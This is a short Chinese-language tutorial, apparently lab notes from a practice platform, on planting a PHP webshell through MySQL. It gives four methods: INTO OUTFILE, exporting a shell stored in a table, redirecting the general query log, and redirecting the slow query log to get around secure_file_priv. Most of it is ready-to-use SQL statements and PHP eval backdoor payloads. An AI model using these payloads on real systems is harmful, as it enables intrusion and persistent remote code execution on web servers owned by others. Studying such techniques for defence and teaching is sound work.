通过MySQL写入webshell的几种方式
-01-通过outfile写入shell
利用条件
1.root权限2.网站的绝对路径且具有写入权限,能够使用into outfile和into dumpfile来进行写入。
这里用了以下的shell
union select 1,"<?php eval($_REQUEST[8])?>" into outfile 'C:/phpStudy/WWW/4448.php'
这里连接蚁剑
-02-将shell写入表中
利用条件
1.root权限2.网站的绝对路径且具有写入权限。
先运行,生成表
http://afsgr16-b1ferw.aqlab.cn/?id=1 union select 1,insert into 'sxss'('comment') values ('<?php @eval($_POST[1]);?>');
查询该数据表,将结果导出文件
select comment from sxss into outfile 'C:/phpStudy/WWW/4449.php';
-03-开启全局日志写入shell
利用条件
1.root权限2.网站的绝对路径且具有写入权限
查看全局日志配置
show variables like '%general%';
开启全局配置
set global general_log = on;
将日志文件设置成服务器下的木马文件
set global general_log_file = 'C:/phpStudy/WWW/4449.php'
然后执行sql语句,mysql会将我没执行的语句记录到日志文件(上一步修改后的文件)中
select '<?php @eval($_POST[1]);?>';
-04-慢查询日志写入shell
在实际写webshell的时候,我们经常会遭受到secure_file_priv的阻拦,secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用,其参数值有以下三种:
1、NULL:表示不允许导入导出
2、目录地址,如/tmp/:表示只能对指定目录进行导入导出,如/tmp/
3、空,即没有具体值:表示不对导入导出做限制
可使用如下命令来查看secure_file_priv的值:
show global variables like '%secure%';
在高版本的mysql中默认为NULL,就是不让导入和导出
解决办法:
在Windows下可在my.ini的[mysqld]里面,添加secure_file_priv=
在linux下可在/etc/my.cnf的[mysqld]里面,添加secure_file_priv=
使用慢查询日志绕过此限制
利用条件:
1、root权限2、网站的绝对路径且具有写入权限执行如下语句写入shell:
查看慢查询日志开启情况
show variables like '%slow_query_log%';
开启慢查询日志
set global slow_query_log=1;
修改日志文件存储的绝对路径
set global slow_query_log_file='C:/phpStudy/WWW/4449.php';
向日志文件中写入shellselect
'<?php @eval($_POST[1]);?>' or sleep(11);
使用慢查询日志时,只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中,使用如下语句可查看系统时间:
show global variables like '%long_query_time%';